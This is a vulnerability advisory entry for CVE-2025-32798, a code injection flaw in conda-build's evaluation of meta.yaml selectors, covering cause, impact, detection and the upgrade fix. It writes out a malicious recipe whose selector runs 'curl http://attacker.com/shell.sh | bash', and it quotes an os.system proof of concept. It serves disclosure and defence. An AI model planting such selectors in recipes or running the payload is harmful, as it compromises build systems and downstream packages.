
Cloud Vulnerability DB
A community-led vulnerabilities database
CVE-2025-32798 is an arbitrary code execution vulnerability in conda-build caused by unsafe use of Python's eval() function when processing recipe selectors in meta.yaml files. It affects all versions of conda-build up to and including 25.3.2 (i.e., prior to 25.4.0). The vulnerability was published on June 16, 2025, with the security advisory (GHSA-6cc8-c3c9-3rgr) published by the conda maintainers on June 14, 2025. It carries a CVSS v3.1 base score of 9.8 (Critical) and a CVSS v4.0 base score of 8.2 (High) (GitHub Advisory, Red Hat).
The root cause is CWE-94 (Improper Control of Generation of Code / Code Injection): conda-build's eval_selector() function in conda_build/metadata.py passes user-controlled selector expressions directly to Python's built-in eval() without any sanitization or sandboxing. Selector expressions embedded in meta.yaml recipe files (e.g., # [<expression>]) are evaluated at build time, and because the full Python os module was exposed in the evaluation namespace, an attacker can craft a selector such as __import__('os').system('...') or os.getenv.__globals__['system']('...') to execute arbitrary OS commands. The fix replaces eval() with the evalidate library, which restricts evaluation to a safe, explicitly allowlisted subset of operations and AST nodes, and replaces the full os module reference with a restricted OSModuleSubset class exposing only os.environ and os.getenv (GitHub Advisory, Patch Commit).
Successful exploitation allows an attacker to execute arbitrary operating system commands with the privileges of the user running conda build, fully compromising the integrity of the build environment. This can result in unauthorized file creation or modification, exfiltration of sensitive data (including environment variables and credentials accessible to the build process), and installation of backdoors or malware into built packages. In CI/CD pipelines where conda-build processes third-party or community-contributed recipes, the impact extends to supply chain compromise affecting downstream package consumers (GitHub Advisory, Red Hat).
A proof-of-concept exploit is publicly available in the GitHub security advisory, demonstrating that a malicious meta.yaml recipe with a crafted selector comment (e.g., # [__import__('os').system('echo This is a malicious file!!! > /var/run/shm/poc.txt')]) triggers code execution when conda build processes the recipe. The CVSS v4.0 exploit maturity is rated "Proof of Concept." The EPSS score is approximately 0.088% (low probability of near-term mass exploitation). There is no evidence of active in-the-wild exploitation, and the vulnerability is not currently listed in the CISA KEV catalog (GitHub Advisory, Feedly).
meta.yaml file with a valid conda package structure and embed a malicious Python expression inside a selector comment, e.g.:package:
name: poc
version: 0.1
build:
number: 0
string: "dummy"
# [__import__('os').system('curl http://attacker.com/shell.sh | bash')]meta.yaml in a directory that will be processed by a victim running conda-build — this could be via a pull request to a conda-forge feedstock, a shared recipe repository, a malicious package submission, or social engineering.conda build . in the directory containing the malicious recipe.eval_selector() in conda_build/metadata.py calls Python's eval() on the selector expression without sanitization, executing the embedded OS command with the privileges of the build process.conda build process (e.g., bash, sh, curl, wget, python, nc) during recipe parsing — before any build scripts would normally execute./tmp/, /var/run/shm/, /dev/shm/) during a conda build invocation; new cron jobs, SSH authorized keys, or scripts added by the build user account.conda build invocations; system audit logs (auditd) recording execve calls for unexpected binaries spawned as children of the Python process running conda-build.Upgrade conda-build to version 25.4.0 or later, which replaces the unsafe eval() call with the evalidate library to restrict selector expression evaluation to a safe, allowlisted subset of operations. No official configuration-based workaround is available for older versions; the only effective mitigation is upgrading. As interim risk reduction, avoid building recipes from untrusted or unreviewed sources, apply least-privilege principles to build environments, and audit existing meta.yaml files for suspicious selector expressions (GitHub Advisory, Patch Commit).
The vulnerability was credited to researcher stamparm (finder) with remediation by conda maintainers jaimergp, beckermr, and kenodegard. Red Hat tracked the issue via Bugzilla (Bug 2373076) and assigned it high severity. The conda team's own TODO comment in the affected source code (# TODO: is there a way to do this without eval? Eval allows arbitrary code execution.) acknowledged the risk prior to the fix, indicating the team was aware of the design concern. Coverage appeared on Linux distribution security channels including Fedora update announcements (GitHub Advisory, Red Hat Bugzilla).
Source: This report was generated using AI
Free Vulnerability Assessment
Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.
Get a personalized demo
"Best User Experience I have ever seen, provides full visibility to cloud workloads."
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
"We know that if Wiz identifies something as critical, it actually is."